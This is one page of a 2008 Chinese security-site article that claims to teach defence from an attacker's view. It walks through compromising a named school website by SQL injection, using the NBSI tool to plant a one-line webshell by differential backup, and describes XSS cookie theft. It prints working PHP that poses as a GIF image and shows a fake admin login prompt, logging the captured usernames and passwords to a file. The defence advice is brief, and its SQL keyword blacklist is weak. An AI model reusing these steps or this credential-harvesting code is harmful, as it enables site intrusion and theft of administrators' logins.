通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 安全防御 >> 安全相关 >> 文章正文
从攻击者角度来阐述如何防御黑客攻击
责任编辑:酷酷の鱼   更新日期:2008-3-8
 

 

  既然知道了权限为DB_OWNER 那么我们就可以通过列目录来寻找网站的WEB目录 从而通过使用差异备份来获取网站的WEBSHELL。通过列取一系列目录得知 网站的WEB目录为D:\wwwroot\如图4

  

 

  既然知道了WEB目录我们就使用NBSI的getwebshell功能备份一个一句话木马进去吧。在注入地址那里添写hxxp://www.bjjxxx.com.cn/detail.asp?productid=389,备份目录那里写D:\wwwroot\1.asp 然后点备份就好啦 可以看到我们成功的备份出了一个一句话木马。 如图5

  

 

  至此我们已经成功的拿到了网站的WEBSHELL也就是最高权限了。一个很简单的漏洞就使得一个名牌学校的网站就这样”沦陷”了。

  SQL注入防御方法:单独编写一个文件,部分内容为:

  dim sql_injdata SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" SQL_inj = split(SQL_Injdata,"|")

  也就是过滤掉了常用的SQL语句关键字,从而可以有效的防御SQL注射攻击。

  注入漏洞之旁注攻击

  顾名思义就是从旁注入,也就是利用主机上面的一个虚拟站点进行渗透此类手法多出现与虚拟主机站点。如一个网站本身程序非常安全,攻击者没有任何下手的地方,那么攻击者可以通过入侵同服务器的另外一个站点,然后提升权限从而达到入侵目标站的目的。防御方法:尽量选择单独服务器或者服务器权限设置比较好的虚拟机。

  二、跨站攻击

  XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者向 Web面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码被执行,从而达到攻击者的特殊目的。XSS属于被动式的攻击,因为其被动且好利用,所以许多人经常忽略其危害性。

  一般来说跨站最容易出现的地方在网站的留言版块.攻击者可以构造如 的语句。 稍懂JS的人知道如果程序员在编写代码时没有过滤掉如

  传统的跨站利用方式一般都是攻击者首先构造一个网页,然后在攻击者的另一个空间里面放一个收集cookie的页面接着结合其他技术让用户打开跨站页面 以便盗取用户的cookie从而进行攻击。 如当攻击者要渗透一个站点,攻击者可能首先使简单的HTML 标签如(粗体),(斜体)或(下划线),或者他可能尝试简单的 script标签如 来检测,这样也是很容易检测出跨站漏洞。然而,高明点的攻击者可能用它的 hex 值替换整个字符串。这样 也是可以的,然后点提交,成功弹出如图7

  

 

  到了这里可能有些朋友觉得只是弹个窗,没什么了不起的,因而觉得这个没什么利用价值那可就大错特错了。其实我们还是可以利用这个XSS来偷取管理员的cookie,或者挂马!因为这站只是用trim过滤了空格,所以利用起来是非常容易的。 嘿嘿 下面我用这个漏洞来演示一下怎么偷到管理员的密码。 我们可以伪造个密码验证框!让管理输入帐号和密码验证,为了不让管理员发现,密码框的代码是利用cookie验证,密码框出现一次后,要想再出现密码框,就要在IE那删除cookie,如图8

  

 

  为了不让管理员发现,我们用图片来伪装了。好了,那我们就来看看利用程序吧!代码如下:

  header("Content-type: image/gif");

  $image = imagecreatefromgif('mellow.gif');

  if(!$_COOKIE['LOGON'])

  {

  $login = $_SERVER['PHP_AUTH_USER'];

  $pass = $_SERVER['PHP_AUTH_PW'];

  if(strlen($pass) <= 4 || !$login)

  {

  Header('HTTP/1.1 401 Unauthorized');

  Header('WWW-Authenticate: Basic realm="管理员验证 - login"');

  }

  elseif($login)

  {

  setcookie('LOGON',md5($pass));

  $f = fopen('passwords.txt', 'ab');

  fwrite($f, $login." ||| ".$pass."\r\n");

  fclose($f);

  }

  }

  imagegif($image);

  imagedestroy($image);

  ?>

  新建个文档,把代码保存在文件内,后缀名改成图片格式。然后去网上找个小型的图片文件。将这两个图片放在同一个目录下就OK了。

上一页  [1] [2] [3] [4] 下一页

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    普通文章 火线可骗过Windows 密码验证
    普通文章 台式机技术的ATM易遭黑客入侵
    普通文章 趋势:2007年病毒威胁报告暨2008年预测
    普通文章 微软展示IE 8浏览器 首个beta测试版开放下载
    普通文章 网络病毒向驱动级演变 防毒入侵成重点
    普通文章 近期上网严防“寄生虫”病毒破坏系统
    普通文章 BHO劫持者木马强行篡改IE浏览器默认首页
    普通文章 病毒伪装成ZIP压缩包图表 利用U盘传播病毒
    普通文章 网络四面楚歌 杀毒软件遭遇严峻考验
    普通文章 简单四步用百度轻松搞定网络安全隐患
    热门文章
    推荐文章推荐:奥运期间安全防护 邮件欺诈和网络钓鱼
    普通文章实用技巧之Linux系统“死机”时怎么办
    普通文章RSA:07年12月、08年1月网上欺诈报告要点
    普通文章吉林教育信息网恢复正常
    普通文章搜狗泄露雅虎邮箱用户隐私
    普通文章数据丢失可能成为08年最大安全隐忧
    普通文章"盗号下载者"来势凶猛 偷账号植入木马程序
    普通文章下载器木马也长寿 安全破坏者直指杀软
    普通文章木马窃取网游信息 小心紫萝卜木马下载器
    普通文章Google间接承认IP地址属于个人信息
    精彩专题